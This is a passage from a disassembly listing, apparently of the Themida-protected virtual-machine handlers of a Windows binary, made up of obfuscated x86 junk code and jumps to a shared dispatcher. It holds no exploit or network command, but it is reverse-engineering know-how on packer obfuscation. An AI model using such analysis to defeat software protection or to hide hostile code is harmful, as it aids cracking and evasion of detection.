byte ptr [esp+0Ch+var_C], cl pushf jmp loc_5905A5 ; --------------------------------------------------------------------------- loc_594962: ; CODE XREF: sub_59196D:loc_5940F0j sub edi, 314C34BCh mov ebx, edi push [esp-10h+arg_C] pop edi add esp, 4 jmp loc_595C0C ; --------------------------------------------------------------------------- loc_594979: ; CODE XREF: sub_59196D-52E5j xchg esi, [esp+0] mov esp, [esp+0] mov ecx, [esp+0] jmp loc_593D93 ; --------------------------------------------------------------------------- loc_594987: ; CODE XREF: sub_59196D-2047j sub ebp, 0FF7D7ECDh sub edx, 53815C19h add edx, ebp add edx, 53815C19h mov ebp, [esp+20h+var_22+2] add esp, 4 jmp loc_58FB90 ; --------------------------------------------------------------------------- loc_5949A6: ; CODE XREF: sub_59196D+2E39j pop edx xor ebx, eax jmp loc_58CDC7 ; --------------------------------------------------------------------------- loc_5949AE: ; CODE XREF: sub_59196D-6292j ; sub_59196D-261Aj mov ebx, edx push [esp+18h+var_1A+2] pop edx add esp, 4 xor esi, ebx mov ebx, [esp+14h+var_16+2] add esp, 4 and ecx, esi push [esp+10h+var_12+2] jmp loc_58D19A ; --------------------------------------------------------------------------- loc_5949CC: ; CODE XREF: sub_59196D+6978j mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp+14h+var_16+2] xor [esp+14h+var_16+2], ebp jmp loc_595316 ; --------------------------------------------------------------------------- loc_5949E5: ; CODE XREF: sub_59196D+2E0Ej mov eax, [esp+34h+var_36+2] push ebp jmp loc_594F98 ; --------------------------------------------------------------------------- loc_5949EE: ; CODE XREF: sub_59196D-5B6Aj add eax, 5E827D35h add eax, edi jmp loc_58FC0C ; --------------------------------------------------------------------------- loc_5949FA: ; CODE XREF: sub_59196D+5312j add ch, bh push edx mov dl, 63h shr dl, 3 dec dl shr dl, 2 xchg ah, dl not ah xchg ah, dl jmp loc_597C83 ; --------------------------------------------------------------------------- loc_594A12: ; CODE XREF: sub_59196D-2DEFj push 7C72h mov [esp+0], ebx mov bh, 9Ah xor cl, bh pop ebx dec cl sub esp, 4 mov [esp+0], ebx jmp loc_58C2F7 ; --------------------------------------------------------------------------- loc_594A2F: ; CODE XREF: sub_59196D+9F1j push edx jmp loc_597C40 ; --------------------------------------------------------------------------- loc_594A35: ; CODE XREF: sub_58FC53-2E36j add bl, 0FAh xor cl, bl pop ebx add al, 0BDh sub al, cl sub al, 0BDh pop ecx push 3800h mov [esp+10h+var_12+2], ecx mov ch, 24h push ebx mov bh, 5Ch dec bh add bh, 1Ch jmp loc_597CF5 ; --------------------------------------------------------------------------- loc_594A59: ; CODE XREF: sub_59196D+1DA8j mov ebp, 2 mov edx, ebp pop ebp jmp loc_58BEFC ; --------------------------------------------------------------------------- loc_594A66: ; CODE XREF: sub_59196D+F8Dj mov [esp+32h+var_32], ecx push 800h jmp loc_5929B7 ; --------------------------------------------------------------------------- loc_594A73: ; CODE XREF: sub_59196D+1E18j mov ebp, 4 add edx, 74AB09ACh add edx, ebp sub edx, 74AB09ACh pop ebp xor edx, [esp+30h+var_32+2] xor [esp+30h+var_32+2], edx xor edx, [esp+30h+var_32+2] mov esp, [esp+30h+var_32+2] jmp loc_5920D5 ; --------------------------------------------------------------------------- loc_594A98: ; CODE XREF: sub_59196D-216j pop ecx sub edx, 0FFFFFFFFh jmp loc_5973C8 ; --------------------------------------------------------------------------- loc_594AA1: ; CODE XREF: sub_59196D+66CFj add edx, 4 add edx, 4 xchg edx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] or eax, eax jnz loc_58D266 push ecx push edi push eax mov eax, 768E2DBDh and eax, 2140FB1h sub eax, 672F230Dh jz loc_593D22 not eax jmp loc_58E8F2 ; --------------------------------------------------------------------------- loc_594ADA: ; CODE XREF: sub_59196D+42A8j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594ADF: ; CODE XREF: sub_59196D-38A8j pop esp mov [esp+1Eh+var_1E], ebp jmp loc_58DC10 ; --------------------------------------------------------------------------- loc_594AE8: ; CODE XREF: sub_59196D-44Cj sub esp, 4 mov [esp+36h+var_36], esi not [esp+36h+var_36] pop esi jmp loc_59865E ; --------------------------------------------------------------------------- loc_594AFA: ; CODE XREF: sub_59196D-2DC0j dec ch push dx push cx mov cl, 0C0h mov dh, cl jmp loc_58DF5A ; --------------------------------------------------------------------------- loc_594B09: ; CODE XREF: sub_59196D-1206j mov [esp+4Eh+var_4E], esp add [esp+4Eh+var_4E], 4 pop ebp push esi jmp loc_59215C ; --------------------------------------------------------------------------- loc_594B1A: ; CODE XREF: sub_59196D+B55j mov bl, 67h shr bl, 8 js loc_59805C jmp loc_59622D ; --------------------------------------------------------------------------- loc_594B2A: ; CODE XREF: sub_59196D-183j jmp loc_5931D0 ; --------------------------------------------------------------------------- loc_594B2F: ; CODE XREF: sub_59196D:loc_595330j inc ebx jge loc_58E0B7 jmp loc_58EBC7 ; --------------------------------------------------------------------------- loc_594B3B: ; CODE XREF: sub_59196D+4EB2j xor edx, 878AFEFCh add edi, edx pop edx sub edi, edx sub edi, 6037A17h mov edx, [esp+14h+var_16+2] add esp, 4 jmp loc_593FD1 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594B5F: ; CODE XREF: sub_59196D-2D39j shr esi, 3 sub esp, 4 mov [esp+28h+var_2A+2], ebx push 5BB0170Dh pop ebx jmp loc_59679D ; --------------------------------------------------------------------------- loc_594B76: ; CODE XREF: sub_59196D+2204j or eax, ebx mov ebx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_593303 ; --------------------------------------------------------------------------- loc_594B86: ; CODE XREF: sub_59196D+153Bj mov eax, esp push ebp jmp loc_5974CA ; --------------------------------------------------------------------------- loc_594B8E: ; CODE XREF: sub_59196D+1FA8j mov [esp+3Ah+var_3C+2], eax mov eax, 10CB7752h add edx, 33CB776Ah jmp loc_58DE29 ; --------------------------------------------------------------------------- loc_594BA1: ; CODE XREF: sub_59196D+64F8j mov word ptr [esp+3Ah+var_3C+2], dx xor byte ptr [esp+3Ah+var_3C+3], bh jmp loc_58F18B ; --------------------------------------------------------------------------- loc_594BAE: ; CODE XREF: sub_59196D+462Bj push ecx mov ecx, 7ECB54F7h and eax, ecx pop ecx xor eax, 4EB939FAh xor edi, eax pop eax push ecx mov ecx, 23760F20h shl ecx, 5 shl ecx, 2 and ecx, 8CE43ABh sub ecx, 42ED7154h jmp loc_591AA3 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+3Ah+var_3C+2] push 3E3Bh mov [esp+3Eh+var_40+2], esi push esp mov esi, [esp+42h+var_44+2] add esp, 4 add esi, 4 push ebp push ecx mov ecx, 2 jmp loc_58E7AA ; --------------------------------------------------------------------------- loc_594C01: ; CODE XREF: sub_59196D+2166j xor ah, 6Eh sub ch, ah pop eax sub ch, 0B7h sub bl, ch pop ecx jmp loc_596BDB ; --------------------------------------------------------------------------- loc_594C12: ; CODE XREF: sub_59196D-30E3j push ebx mov ebx, 3079CF9Ch add esi, ebx jmp loc_58E473 ; --------------------------------------------------------------------------- loc_594C1F: ; CODE XREF: sub_59196D-50F5j jle loc_590156 not edi add edi, 70AC2BC7h jmp loc_593A9D ; --------------------------------------------------------------------------- loc_594C32: ; CODE XREF: sub_59196D+4348j xor [esp+2Eh+var_2E], esi jmp loc_593BD1 ; --------------------------------------------------------------------------- loc_594C3A: ; CODE XREF: sub_59196D-2819j sub ebx, 2 xchg ebx, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] jmp loc_59162F ; --------------------------------------------------------------------------- loc_594C48: ; CODE XREF: sub_59196D-61C5j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594C4D: ; CODE XREF: sub_59196D+6D0Aj xor cl, dh xor dh, cl xor cl, dh dec cl sub esp, 4 jmp loc_594929 ; --------------------------------------------------------------------------- loc_594C5D: ; CODE XREF: sub_59196D+55DBj pop esp shr ecx, 2 push ebx jmp loc_58DB79 ; --------------------------------------------------------------------------- loc_594C67: ; CODE XREF: sub_59196D-634Aj push esi jmp loc_58D6CE ; --------------------------------------------------------------------------- loc_594C6D: ; CODE XREF: sub_59196D+2390j shl ecx, 6 push ebx mov ebx, 77453FA6h jmp loc_58DBEE ; --------------------------------------------------------------------------- loc_594C7B: ; CODE XREF: sub_590677+1Ej pop ebx pop edx push [esp+2Ah+var_2A] pop ecx add esp, 4 loc_594C84: ; CODE XREF: sub_59196D-5AF6j push edi jmp loc_58C2A3 ; --------------------------------------------------------------------------- loc_594C8A: ; CODE XREF: sub_59196D+10BCj xchg esi, [esp+10h+var_12+2] pop esp mov eax, edx jmp loc_59485C ; --------------------------------------------------------------------------- loc_594C95: ; CODE XREF: sub_59196D+957j xchg ecx, [esp+20h+var_22+2] pop esp sub esp, 4 mov [esp+20h+var_22+2], ebp jmp loc_5947BE ; --------------------------------------------------------------------------- loc_594CA4: ; CODE XREF: sub_59196D+B10j add esi, 305D676Ch add esi, 0E0C9FDD5h jmp loc_5961D3 ; --------------------------------------------------------------------------- loc_594CB5: ; CODE XREF: sub_59196D+2800j pop edx sub al, cl jmp loc_5900B2 ; --------------------------------------------------------------------------- loc_594CBD: ; CODE XREF: sub_59196D-325Bj pop edi xchg ebx, [esp+36h+var_36] pop esp test cl, al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594CCA: ; CODE XREF: sub_59196D-5338j jmp loc_58F7B8 ; --------------------------------------------------------------------------- loc_594CCF: ; CODE XREF: sub_59196D-3E4Dj shl di, 8 shl di, 5 and di, 26A4h add di, 558h dec di push ax mov ax, 5343h xor di, ax pop ax jmp loc_5917D4 ; --------------------------------------------------------------------------- loc_594CF3: ; CODE XREF: sub_59196D+2BC9j dec ebx jge loc_58D2C7 sub ebx, 33AA6E9Bh mov ecx, ebx pop ebx sub ebp, ecx mov bh, bl loc_594D07: ; CODE XREF: sub_59196D+3AADj jnz loc_593795 and eax, 7E55142h jge loc_58F3A6 pop esp loc_594D19: ; CODE XREF: sub_59196D-35BBj mov esp, [esp+10h+var_12+2] idiv cl jmp loc_591B8F ; --------------------------------------------------------------------------- loc_594D23: ; CODE XREF: sub_58F0FA+1Ej add esi, 4 jmp loc_593F24 ; --------------------------------------------------------------------------- loc_594D2E: ; CODE XREF: sub_59196D-6208j jl loc_58B6AE push ecx jmp loc_58FA77 ; --------------------------------------------------------------------------- loc_594D3A: ; CODE XREF: Themida_:0058B8E6j neg eax add eax, 3EE84735h sub eax, 3AAB7FF5h jmp loc_593250 ; --------------------------------------------------------------------------- loc_594D4B: ; CODE XREF: sub_59196D+467Fj push edi mov edi, 1BEE23F9h add edi, 0F362E4DBh add eax, edi jmp loc_590A3C ; --------------------------------------------------------------------------- loc_594D5E: ; CODE XREF: sub_59196D-134j inc bl inc bl inc bl xor bl, 0B8h jmp loc_594655 ; --------------------------------------------------------------------------- loc_594D6C: ; CODE XREF: sub_59196D+15DBj xor esi, 1E1179ADh jmp loc_58D122 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+48h+var_4A+2] push 757Ah mov [esp+4Ch+var_4E+2], edi mov edi, esp jmp loc_5907ED ; --------------------------------------------------------------------------- loc_594D8A: ; CODE XREF: sub_59196D+48FAj sub edx, 0E550EF7h jmp loc_596604 ; --------------------------------------------------------------------------- loc_594D95: ; CODE XREF: sub_59196D+D7Fj ; sub_59196D+5294j mov dx, word ptr [esp+18h+var_1A+2] add esp, 2 xor al, dh xor dh, al xor al, dh xor byte ptr [esp+14h+var_16+2], al xor al, byte ptr [esp+14h+var_16+2] xor byte ptr [esp+14h+var_16+2], al jmp loc_58B37B ; --------------------------------------------------------------------------- loc_594DB3: ; CODE XREF: sub_59196D-2836j mov dh, 0BFh jmp loc_58B504 ; --------------------------------------------------------------------------- loc_594DBA: ; CODE XREF: sub_59196D+51C7j push edx mov edx, 4 jmp loc_58C72D ; --------------------------------------------------------------------------- loc_594DC5: ; CODE XREF: sub_59196D+31Aj jnz loc_596F68 push edx jmp loc_58E4BA ; --------------------------------------------------------------------------- neg eax jo loc_58FA85 loc_594DD9: ; CODE XREF: sub_59196D+1C8Fj push esp pop edx add edx, 4 push ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp+2Ch+var_2E+2] mov esp, [esp+2Ch+var_2E+2] jmp loc_58F85E ; --------------------------------------------------------------------------- loc_594DF5: ; CODE XREF: sub_59196D+4DDj shr dl, 8 shr dl, 6 push ebx mov bl, 3Fh jmp loc_5927A0 ; --------------------------------------------------------------------------- loc_594E03: ; CODE XREF: sub_59196D+990j add [esp+1Ch+var_1E+2], 4 pop ebp push ebx push 4 pop ebx add ebp, ebx jmp loc_58FAD4 ; --------------------------------------------------------------------------- loc_594E19: ; CODE XREF: sub_59196D+5CF0j pop esp push 4391h mov [esp+1Ch+var_1E+2], edi push ecx mov edi, [esp+20h+var_22+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59591D ; --------------------------------------------------------------------------- loc_594E3A: ; CODE XREF: sub_59196D+41D5j push esp mov ecx, [esp+28h+var_2A+2] jmp loc_58F62A ; --------------------------------------------------------------------------- loc_594E43: ; CODE XREF: sub_59196D+3783j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+2Ch+var_2E+2] pop esp mov ecx, ebp pop ebp and eax, ecx mov ecx, [esp+24h+var_26+2] push 6BCEh mov [esp+28h+var_2A+2], ebp push 58Fh mov [esp+2Ch+var_2E+2], esp jmp loc_595B5A ; --------------------------------------------------------------------------- mov sp, word ptr [esp+2Ch+var_2E+2] jmp loc_58B37B ; --------------------------------------------------------------------------- push 0 push [esp+30h+var_32+2] pop ebx push ecx mov ecx, esp sub esp, 4 mov [esp], eax mov eax, 2FB11FA3h sub eax, 755776AEh xor eax, 0BA59A8F1h add ecx, eax pop eax push 4D36h mov [esp], edi mov edi, 4 jmp loc_5964F4 ; --------------------------------------------------------------------------- loc_594EB5: ; CODE XREF: sub_59196D-58D7j not edx xor edx, 0BD90012Ah sub eax, edx pop edx mov ecx, [esp+0] add esp, 4 push 4E47h mov [esp+0], ecx mov ecx, 59002856h or ecx, 72966EDDh push edi mov edi, 470B6D44h add ecx, edi pop edi xchg esi, ecx dec esi jmp loc_5906AA ; --------------------------------------------------------------------------- loc_594EEA: ; DATA XREF: Themida_:0058B138o push dword ptr [esp+0] jmp loc_590C51 ; --------------------------------------------------------------------------- loc_594EF2: ; CODE XREF: sub_59196D-153j push small 408Fh jmp loc_596188 ; --------------------------------------------------------------------------- loc_594EFB: ; CODE XREF: sub_59196D+21AFj xor ebx, 10E9A180h mov ebp, ebx pop ebx or ebp, 0ADC3427h sub ebp, 1FFF37FEh jmp loc_591851 ; --------------------------------------------------------------------------- loc_594F15: ; CODE XREF: sub_59196D+4693j jmp loc_592BD3 ; --------------------------------------------------------------------------- loc_594F1A: ; CODE XREF: sub_59196D-1AE4j ; sub_59196D+543Ej add ebp, edi pop edi and ebp, 30974A11h add ebp, 4BF12B03h sub ebp, 740E5521h push edx push 0F81B2211h pop edx add ebp, 67712331h jmp loc_58E983 ; --------------------------------------------------------------------------- loc_594F41: ; CODE XREF: sub_59196D-5CD7j add [esp+2Ch+var_2E+2], 4 jmp loc_58BCA9 ; --------------------------------------------------------------------------- loc_594F4D: ; CODE XREF: sub_59196D+2A37j xor [esp+24h+var_26+2], edi jmp loc_591F87 ; --------------------------------------------------------------------------- loc_594F55: ; CODE XREF: sub_59196D+47BFj mov bl, 0FFh sub dl, bl pop bx shr dl, 7 sub dl, 96h sub al, 4Ch push cx mov ch, 96h add al, ch jmp loc_58F395 ; --------------------------------------------------------------------------- loc_594F6E: ; CODE XREF: Themida_:0058E837j xor dx, cx pop cx mov di, dx pop edx shr di, 3 shr di, 7 xor di, 1E47h sub di, 9E8Bh jmp loc_597B73 ; --------------------------------------------------------------------------- loc_594F8E: ; CODE XREF: sub_59196D-11ECj push 45E6h jmp loc_590CBC ; --------------------------------------------------------------------------- loc_594F98: ; CODE XREF: sub_59196D+307Cj mov ebp, esp add ebp, 4 jmp loc_598014 ; --------------------------------------------------------------------------- loc_594FA5: ; CODE XREF: sub_59196D+2F1Fj mov esi, esp push ebp mov ebp, 56A0090Dh push ebx mov ebx, 59B515Eh jmp loc_58CB9E ; --------------------------------------------------------------------------- loc_594FB8: ; CODE XREF: sub_59196D+27CBj add cl, bl sub cl, 0F8h pop ebx jmp loc_5923B1 ; --------------------------------------------------------------------------- loc_594FC3: ; CODE XREF: sub_59196D-2B5j mov eax, esp add eax, 4 add eax, 4 jmp loc_58DF13 ; --------------------------------------------------------------------------- loc_594FD2: ; CODE XREF: sub_59196D-28EAj add dword ptr [edi+20h], 50365834h mov ebx, [esp+3Ch+var_3C] add esp, 4 push dword ptr [edi+20h] xchg edx, [esp+3Ch+var_3C] push edx not [esp+40h+var_40] pop edx xor [esp+3Ch+var_3C], edx xor edx, [esp+3Ch+var_3C] xor [esp+3Ch+var_3C], edx jmp loc_59072B ; --------------------------------------------------------------------------- loc_594FFB: ; CODE XREF: sub_59196D+2B05j mov esp, [esp+0] mov eax, [esp+0] push 2F12h mov [esp+12h+var_12], eax mov eax, esp push esi mov esi, 2FFD169Bh add esi, 7C3A7DD3h jmp loc_592893 ; --------------------------------------------------------------------------- loc_59501C: ; CODE XREF: sub_59196D+12DEj mov cx, word ptr [esp+22h+var_22] push edx sub esp, 4 mov [esp+2Ah+var_2A], esp add [esp+2Ah+var_2A], 4 pop edx add edx, 4 jmp loc_5904D8 ; --------------------------------------------------------------------------- loc_59503D: ; CODE XREF: sub_59196D-3A74j mov edx, 0CB36778h mov ecx, 11B1895Eh sub ecx, edx pop edx sub ebx, ecx pop ecx push ecx mov ecx, 73FA3899h sub ebx, ecx pop ecx sub ebx, eax add ebx, 73FA3899h push esi mov esi, 0E030076h jmp loc_58F0B1 ; --------------------------------------------------------------------------- loc_595069: ; CODE XREF: sub_59196D+5E61j sub esp, 4 jmp loc_5902EC ; --------------------------------------------------------------------------- loc_595074: ; CODE XREF: sub_59196D+2A6Fj xor ebp, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59507F: ; CODE XREF: sub_59196D+21Dj ; sub_59196D+B4Bj pop esi jmp loc_592444 ; --------------------------------------------------------------------------- loc_595085: ; CODE XREF: sub_59196D-653Aj and ebp, 0D193BFFh inc ebp add ebp, 3DC2D8E4h add eax, ebp jmp loc_58BE9E ; --------------------------------------------------------------------------- loc_595099: ; CODE XREF: Themida_:0058EFC4j mov [esp+8+var_8], esi mov esi, esp push ebx push 123Bh mov [esp+10h+var_12+2], ebp mov ebp, 79C446FDh and ebp, 0C99283Eh push eax push 8800038h mov eax, [esp+18h+var_1A+2] add esp, 4 xor ebp, eax jmp loc_59045E ; --------------------------------------------------------------------------- loc_5950C5: ; CODE XREF: sub_59196D+59Ej pop ebp jmp loc_594322 ; --------------------------------------------------------------------------- loc_5950CB: ; CODE XREF: sub_59196D+25BAj pop esp mov eax, [esp+14h+var_16+2] push edx push esp pop edx jmp loc_59450E ; --------------------------------------------------------------------------- loc_5950D7: ; CODE XREF: sub_59196D-3F1Aj add esi, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 sub esp, 4 mov [esp+0Ch+var_C], edx jmp loc_596FE7 ; --------------------------------------------------------------------------- loc_5950ED: ; CODE XREF: sub_59196D+3E4Dj mov eax, [esp+0Ch+var_C] jmp loc_594E43 ; --------------------------------------------------------------------------- loc_5950F5: ; CODE XREF: sub_59196D-16C2j sub esi, 65C85734h sub esi, ebp add esi, 65C85734h jmp loc_58D9F8 ; --------------------------------------------------------------------------- loc_595108: ; CODE XREF: sub_59196D+473Aj add eax, 2 xchg eax, [esp+4+var_4] pop esp movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59511C: ; CODE XREF: sub_59196D-362Aj pop edi sub esp, 4 mov [esp+44h+var_44], ecx mov ecx, esi mov edx, ecx pop ecx jmp loc_59796B ; --------------------------------------------------------------------------- loc_59512D: ; CODE XREF: sub_59196D-14F6j mov esi, [esp+2Ch+var_2E+2] add esp, 4 pop ebp sub ecx, 7F4D4F36h add ecx, ebx add ecx, 7F4D4F36h pop ebx jmp sub_5906EB ; --------------------------------------------------------------------------- loc_59514B: ; CODE XREF: sub_59196D+431Ej pop ebx jmp loc_596A9C ; --------------------------------------------------------------------------- loc_595151: ; CODE XREF: sub_59196D-4675j mov cl, 0Eh add cl, 0A2h jmp loc_595B0E ; --------------------------------------------------------------------------- loc_59515B: ; CODE XREF: sub_59196D+3D03j mov [esp+4Eh+var_4E], edx push 1937h mov [esp+52h+var_54+2], edi jmp loc_58D68C ; --------------------------------------------------------------------------- loc_59516B: ; CODE XREF: sub_59196D+4EA2j xchg eax, [esp+52h+var_54+2] mov esp, [esp+52h+var_54+2] shr [esp+52h+var_54+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59517A: ; CODE XREF: sub_59196D+1498j push 4BA3h mov [esp+1Ch+var_1E+2], ecx mov ch, 18h add ch, 0FFh sub esp, 4 mov [esp+20h+var_22+2], ebx mov bh, ch push eax mov ah, bh not ah mov bh, ah jmp loc_59479C ; --------------------------------------------------------------------------- loc_59519E: ; CODE XREF: sub_59196D-34C7j ; sub_59196D-C29j push 32A2h mov [esp+1Ch+var_1E+2], edi push [esp+1Ch+var_1A+2] pop edi pop [esp+1Ch+var_1E+2] jmp loc_597D52 ; --------------------------------------------------------------------------- loc_5951B3: ; CODE XREF: sub_59196D-4038j ; sub_59196D+61B8j sub edi, 4 xchg edi, [esp+1Ch+var_1E+2] pop esp jmp loc_591DBF ; --------------------------------------------------------------------------- loc_5951C2: ; CODE XREF: sub_59196D+55F6j mov esi, [esp+18h+var_1A+2] add esp, 4 push ebp mov ebp, 4 add esi, 36C90AF4h add esi, ebp jmp loc_590A47 ; --------------------------------------------------------------------------- loc_5951DE: ; CODE XREF: sub_59196D+69E0j xor bh, 7Fh sub al, 64h add al, bh push edx mov dl, 0ADh jmp loc_590733 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp+20h+var_22+2], eax mov eax, 1CA01AF9h push ebp mov ebp, 5C581F81h shr ebp, 8 or ebp, 71786876h jmp loc_58CD37 ; --------------------------------------------------------------------------- loc_59520C: ; CODE XREF: sub_59196D+418Ej mov [esp+24h+var_26+2], edx push 14E87DCFh pop edx sub edx, 99C107Fh jmp loc_58EE91 ; --------------------------------------------------------------------------- loc_595220: ; CODE XREF: sub_59196D-2C6Dj mov bh, 0FFh sub dh, bh jmp loc_595354 ; --------------------------------------------------------------------------- loc_595229: ; CODE XREF: sub_59196D+211Aj mov [esp+14h+var_16+2], ebp jmp loc_596EB9 ; --------------------------------------------------------------------------- loc_595231: ; CODE XREF: sub_59196D:loc_5970DEj or eax, 1FF07952h jle loc_598625 jmp loc_595D07 ; --------------------------------------------------------------------------- loc_595241: ; CODE XREF: sub_59196D:loc_59805Cj shl bl, 7 js loc_58BFE8 jmp loc_595E28 ; --------------------------------------------------------------------------- loc_59524F: ; CODE XREF: sub_59196D+432Aj push ecx mov ecx, esp push ebx push 4 jmp loc_58E4AB ; --------------------------------------------------------------------------- loc_59525D: ; CODE XREF: sub_59196D+E08j mov [esp+14h+var_16+2], ebx jmp loc_591CD0 ; --------------------------------------------------------------------------- loc_595265: ; CODE XREF: sub_59196D-4934j push ebp jmp loc_58C9BE ; --------------------------------------------------------------------------- loc_59526B: ; CODE XREF: sub_59196D-5623j shl dl, 3 sub dl, 0E2h sub bh, dl pop edx push ecx mov cl, 88h add al, cl pop ecx sub al, bh sub al, 88h mov ebx, [esp+18h+var_1A+2] add esp, 4 push edx mov dh, 0ECh sub dh, 0DDh jmp loc_58EC7A ; --------------------------------------------------------------------------- loc_595292: ; CODE XREF: sub_59196D:loc_58D6CEj ; sub_59196D+695Dj mov [esp+14h+var_16+2], ebx mov ebx, 24h sub ebx, 1B820A59h add ebx, edi jmp loc_58C759 ; --------------------------------------------------------------------------- loc_5952A7: ; CODE XREF: sub_59196D+2049j sub edx, 357F06F1h sub edx, ebx add edx, 357F06F1h mov ebx, edx pop edx xor ebx, 5D0B9C5Dh sub ebp, ebx pop ebx not ebp push ecx mov ecx, 6D5A0067h add ebp, ecx mov ecx, [esp+0] add esp, 4 shl ebp, 7 push eax mov eax, 25862339h or ebp, eax push dword ptr [esp+0] pop eax push 2AE0h mov [esp+2+var_4+2], eax mov eax, esp add eax, 4 jmp loc_58BE93 ; --------------------------------------------------------------------------- loc_5952F4: ; CODE XREF: sub_59196D:loc_58E0B7j shl ebx, 8 neg ebx push esi jmp loc_596212 ; --------------------------------------------------------------------------- loc_5952FF: ; CODE XREF: sub_59196D-32A1j sub [esp+42h+var_44+2], 536B2CE2h jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59530B: ; CODE XREF: sub_59196D-5CBDj push ecx mov ecx, 60972A0Fh jmp loc_58F1DD ; --------------------------------------------------------------------------- loc_595316: ; CODE XREF: sub_59196D+3073j xor ebp, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] push edx mov edx, esp jmp loc_58E54E ; --------------------------------------------------------------------------- loc_595324: ; CODE XREF: sub_59196D-3849j mov edx, 0 add edx, ebx jmp loc_58C9DA ; --------------------------------------------------------------------------- loc_595330: ; CODE XREF: sub_59196D+17B5j jp loc_594B2F inc ebx jge loc_58E717 jmp loc_5978A0 ; --------------------------------------------------------------------------- mov ch, bh loc_595344: ; CODE XREF: sub_59196D+2E4Cj neg edx shl edx, 7 xor edx, 0D91957CAh jmp loc_5947A4 ; --------------------------------------------------------------------------- loc_595354: ; CODE XREF: sub_59196D+38B7j mov bx, word ptr [esp+1Ch+var_1E+2] jmp loc_59754F ; --------------------------------------------------------------------------- loc_59535D: ; CODE XREF: sub_59196D-1D0j add esp, 4 sub eax, 3DCE7B7Ah jmp loc_596C2D ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp+32h+var_32], esi sub esp, 4 mov [esp+36h+var_36], edx mov edx, 8D315DEh inc edx jmp loc_591EF7 ; --------------------------------------------------------------------------- loc_595387: ; CODE XREF: sub_59196D+598Dj pop esp or eax, eax jnz loc_592224 sub esp, 4 mov [esp+36h+var_36], eax push ebp jmp loc_58CEF8 ; --------------------------------------------------------------------------- loc_59539F: ; CODE XREF: sub_59196D:loc_591B60j ; sub_59196D+4861j shr cl, 6 push edx jmp loc_58FB32 ; --------------------------------------------------------------------------- loc_5953A8: ; CODE XREF: sub_59196D-DE4j pop esi add eax, 663953F0h jmp loc_58EFF9 ; --------------------------------------------------------------------------- loc_5953B3: ; CODE XREF: sub_59196D+1E2Dj xor eax, 0CC2C7F0Ch mov esi, eax pop eax add esi, edx pop edx mov edx, 603837B0h sub edx, esi pop esi add eax, 18E838BBh jmp loc_59238C ; --------------------------------------------------------------------------- loc_5953D0: ; CODE XREF: sub_59196D+2935j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5953D5: ; CODE XREF: sub_59196D+2C4Dj mov cl, 9Bh jmp near ptr word_58EA76 ; --------------------------------------------------------------------------- loc_5953DC: ; CODE XREF: sub_59196D:loc_58E77Cj not eax push edx mov edx, 55D41E9Dh sub edx, 0B974B33h and edx, 6B45771Ah dec edx push edx not [esp+1Ch+var_1E+2] pop edx xor edx, 3DE5DBE5h sub eax, edx pop edx sub esp, 4 jmp loc_591E9A ; --------------------------------------------------------------------------- loc_59540A: ; CODE XREF: sub_59196D-3905j xor edx, 4DF56A74h jmp loc_596986 ; --------------------------------------------------------------------------- loc_595415: ; CODE XREF: sub_59196D-2B85j or eax, 4F7C3538h jmp loc_594D07 ; --------------------------------------------------------------------------- loc_59541F: ; CODE XREF: sub_59196D+1D19j shl ebp, 8 xor ebp, 0D78E6573h xor esi, ebp pop ebp mov ecx, esi jmp loc_58BC9B ; --------------------------------------------------------------------------- loc_595432: ; CODE XREF: sub_59196D-2317j shr ebp, 6 push esi jmp loc_5918CC ; --------------------------------------------------------------------------- loc_59543B: ; CODE XREF: sub_59196D-1A7Ej mov edi, [esp+6+var_8+2] add esp, 4 jmp loc_58DF08 ; --------------------------------------------------------------------------- loc_595446: ; CODE XREF: sub_59196D+27D3j sub eax, 0E980EC00h mov ecx, eax pop eax jmp loc_597882 ; --------------------------------------------------------------------------- loc_595453: ; CODE XREF: sub_59196D+CEj xor esi, 45240E27h sub esi, 70332EBDh xor esi, 0B88CD7A3h jmp loc_593756 ; --------------------------------------------------------------------------- loc_59546A: ; CODE XREF: sub_59196D-3F64j mov dh, bh jmp loc_58DC7F ; --------------------------------------------------------------------------- loc_595471: ; CODE XREF: Themida_:00590A20j push esp mov edx, [esp+14h+var_16+2] add esp, 4 add edx, 4 sub edx, 4 jmp loc_58C535 ; --------------------------------------------------------------------------- loc_59548C: ; CODE XREF: sub_59196D+4A1j xor ebx, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebx xor ebx, [esp+10h+var_12+2] pop esp mov [esp+0Ch+var_C], eax mov eax, esp add eax, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+10h+var_12+2] pop esp mov [esp+0Ch+var_C], edx mov edx, 4 add eax, edx pop edx jmp loc_58EDF5 ; --------------------------------------------------------------------------- loc_5954C3: ; CODE XREF: sub_59196D-2030j mov ax, word ptr [esp+1Ch+var_1E+2] add esp, 2 pop edx movzx eax, al push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_58EA92 ; --------------------------------------------------------------------------- loc_5954E2: ; CODE XREF: sub_59196D+585j sub ebp, 139CB8E3h sub ebx, ebp pop ebp push ebp jmp loc_59774C ; --------------------------------------------------------------------------- loc_5954F1: ; CODE XREF: 